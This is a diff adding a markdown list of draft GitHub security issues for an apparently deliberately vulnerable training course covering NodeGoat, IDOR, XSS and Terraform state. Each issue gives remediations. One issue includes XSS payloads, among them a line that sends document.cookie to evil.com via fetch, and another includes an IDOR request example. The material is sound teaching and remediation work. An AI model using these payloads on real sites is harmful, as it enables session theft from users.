|
| 1 | +# Security Issues to Create |
| 2 | + |
| 3 | +Use the content below to create issues on GitHub. Assign to: `timothywarner` |
| 4 | + |
| 5 | +--- |
| 6 | + |
| 7 | +## Issue 1: Session cookies lack httpOnly and secure flags |
| 8 | + |
| 9 | +**Labels:** `security`, `vulnerability`, `high-priority`, `nodegoat` |
| 10 | + |
| 11 | +### Description |
| 12 | + |
| 13 | +The NodeGoat application has session cookies configured without critical security flags, making them vulnerable to XSS-based session hijacking. |
| 14 | + |
| 15 | +### Location |
| 16 | + |
| 17 | +`NodeGoat/server.js:78-100` |
| 18 | + |
| 19 | +### Current Code |
| 20 | + |
| 21 | +```javascript |
| 22 | +app.use(session({ |
| 23 | + secret: cookieSecret, |
| 24 | + saveUninitialized: true, |
| 25 | + resave: true |
| 26 | + // Missing: cookie: { httpOnly: true, secure: true } |
| 27 | +})); |
| 28 | +``` |
| 29 | + |
| 30 | +### Risk |
| 31 | + |
| 32 | +- **Severity**: High |
| 33 | +- **OWASP**: A2:2017 - Broken Authentication |
| 34 | +- **CWE**: CWE-614 (Sensitive Cookie in HTTPS Session Without Secure Attribute) |
| 35 | + |
| 36 | +### Remediation |
| 37 | + |
| 38 | +Add secure cookie configuration: |
| 39 | + |
| 40 | +```javascript |
| 41 | +cookie: { |
| 42 | + httpOnly: true, |
| 43 | + secure: true, |
| 44 | + sameSite: "strict", |
| 45 | + maxAge: 3600000 |
| 46 | +} |
| 47 | +``` |
| 48 | + |
| 49 | +--- |
| 50 | + |
| 51 | +## Issue 2: Helmet security middleware disabled in NodeGoat |
| 52 | + |
| 53 | +**Labels:** `security`, `vulnerability`, `medium-priority`, `nodegoat` |
| 54 | + |
| 55 | +### Description |
| 56 | + |
| 57 | +Critical security headers are commented out in the NodeGoat server configuration, leaving the application vulnerable to clickjacking, MIME sniffing, and other attacks. |
| 58 | + |
| 59 | +### Location |
| 60 | + |
| 61 | +`NodeGoat/server.js:38-65` |
| 62 | + |
| 63 | +### Disabled Security Headers |
| 64 | + |
| 65 | +- `helmet.frameguard()` - Clickjacking protection |
| 66 | +- `helmet.noCache()` - Cache poisoning protection |
| 67 | +- `helmet.contentSecurityPolicy()` - XSS mitigation |
| 68 | +- `helmet.hsts()` - HTTPS enforcement |
| 69 | +- `nosniff()` - MIME type sniffing protection |
| 70 | + |
| 71 | +### Risk |
| 72 | + |
| 73 | +- **Severity**: Medium |
| 74 | +- **OWASP**: A6:2017 - Security Misconfiguration |
| 75 | +- **CWE**: CWE-693 (Protection Mechanism Failure) |
| 76 | + |
| 77 | +### Remediation |
| 78 | + |
| 79 | +Uncomment and enable helmet middleware with appropriate configuration for the training environment. |
| 80 | + |
| 81 | +--- |
| 82 | + |
| 83 | +## Issue 3: IDOR vulnerability in document API allows unauthorized access |
| 84 | + |
| 85 | +**Labels:** `security`, `vulnerability`, `high-priority`, `lesson-01`, `idor` |
| 86 | + |
| 87 | +### Description |
| 88 | + |
| 89 | +The IDOR demo application lacks proper authorization checks, allowing users to access documents belonging to other tenants by manipulating document IDs. |
| 90 | + |
| 91 | +### Location |
| 92 | + |
| 93 | +`lesson-01/demo-04-custom-scanners/idor-app/api/documents.js` |
| 94 | + |
| 95 | +### Attack Vector |
| 96 | + |
| 97 | +```bash |
| 98 | +# Authenticated as user1, can access user2's documents |
| 99 | +GET /api/documents/user2-doc-id |
| 100 | +``` |
| 101 | + |
| 102 | +### Risk |
| 103 | + |
| 104 | +- **Severity**: High |
| 105 | +- **OWASP**: A1:2017 - Broken Access Control |
| 106 | +- **CWE**: CWE-639 (Authorization Bypass Through User-Controlled Key) |
| 107 | + |
| 108 | +### Note |
| 109 | + |
| 110 | +This is intentionally vulnerable for training. Add documentation warning and ensure it's not accidentally deployed. |
| 111 | + |
| 112 | +--- |
| 113 | + |
| 114 | +## Issue 4: Terraform state may contain sensitive data without encryption |
| 115 | + |
| 116 | +**Labels:** `security`, `infrastructure`, `medium-priority`, `lesson-02`, `terraform` |
| 117 | + |
| 118 | +### Description |
| 119 | + |
| 120 | +The Terraform configuration in lesson-02 does not configure remote state with encryption, potentially exposing infrastructure secrets. |
| 121 | + |
| 122 | +### Location |
| 123 | + |
| 124 | +`lesson-02/demo-04-zero-trust/terraform/main.tf` |
| 125 | + |
| 126 | +### Missing Configuration |
| 127 | + |
| 128 | +```hcl |
| 129 | +terraform { |
| 130 | + backend "s3" { |
| 131 | + encrypt = true |
| 132 | + # Missing: kms_key_id for server-side encryption |
| 133 | + } |
| 134 | +} |
| 135 | +``` |
| 136 | + |
| 137 | +### Risk |
| 138 | + |
| 139 | +- **Severity**: Medium |
| 140 | +- **CWE**: CWE-312 (Cleartext Storage of Sensitive Information) |
| 141 | + |
| 142 | +### Remediation |
| 143 | + |
| 144 | +Add backend configuration with encryption: |
| 145 | + |
| 146 | +```hcl |
| 147 | +backend "s3" { |
| 148 | + bucket = "terraform-state-bucket" |
| 149 | + key = "zero-trust/terraform.tfstate" |
| 150 | + region = "us-east-1" |
| 151 | + encrypt = true |
| 152 | + kms_key_id = "alias/terraform-state-key" |
| 153 | + dynamodb_table = "terraform-locks" |
| 154 | +} |
| 155 | +``` |
| 156 | + |
| 157 | +--- |
| 158 | + |
| 159 | +## Issue 5: XSS vulnerabilities via eval() and innerHTML in demo code |
| 160 | + |
| 161 | +**Labels:** `security`, `vulnerability`, `critical`, `lesson-01`, `xss` |
| 162 | + |
| 163 | +### Description |
| 164 | + |
| 165 | +The vulnerable React demo contains multiple XSS attack vectors including `eval()`, `innerHTML`, and `document.write()` that execute arbitrary JavaScript. |
| 166 | + |
| 167 | +### Locations |
| 168 | + |
| 169 | +`lesson-01/demo-03-xss/vulnerable-react-app/UserProfile.jsx`: |
| 170 | +- Line 58: `bioRef.current.innerHTML = bio;` |
| 171 | +- Line 127: `document.getElementById('search-results').innerHTML = ...` |
| 172 | +- Line 156: `return eval(calculation);` |
| 173 | +- Line 165: `document.write(...)` |
| 174 | + |
| 175 | +### Attack Payloads |
| 176 | + |
| 177 | +```javascript |
| 178 | +// XSS via bio field |
| 179 | +<img src=x onerror="alert(document.cookie)"> |
| 180 | + |
| 181 | +// Code injection via calculator |
| 182 | +1+1; fetch('https://evil.com?c='+document.cookie) |
| 183 | +``` |
| 184 | + |
| 185 | +### Risk |
| 186 | + |
| 187 | +- **Severity**: Critical |
| 188 | +- **OWASP**: A7:2017 - Cross-Site Scripting (XSS) |
| 189 | +- **CWE**: CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| 190 | + |
| 191 | +### Note |
| 192 | + |
| 193 | +This is the intentionally vulnerable version for training. Ensure clear labeling and never deploy to production environments. |
| 194 | + |
| 195 | +--- |
| 196 | + |
| 197 | +## Quick Create Commands |
| 198 | + |
| 199 | +Once you have `gh` CLI configured, run: |
| 200 | + |
| 201 | +```bash |
| 202 | +# Issue 1 |
| 203 | +gh issue create --title "[Security] NodeGoat: Session cookies lack httpOnly and secure flags" \ |
| 204 | + --label "security,vulnerability,high-priority,nodegoat" \ |
| 205 | + --assignee "timothywarner" \ |
| 206 | + --body-file /tmp/issue1.md |
| 207 | + |
| 208 | +# Or create all at once using the GitHub web UI |
| 209 | +``` |
0 commit comments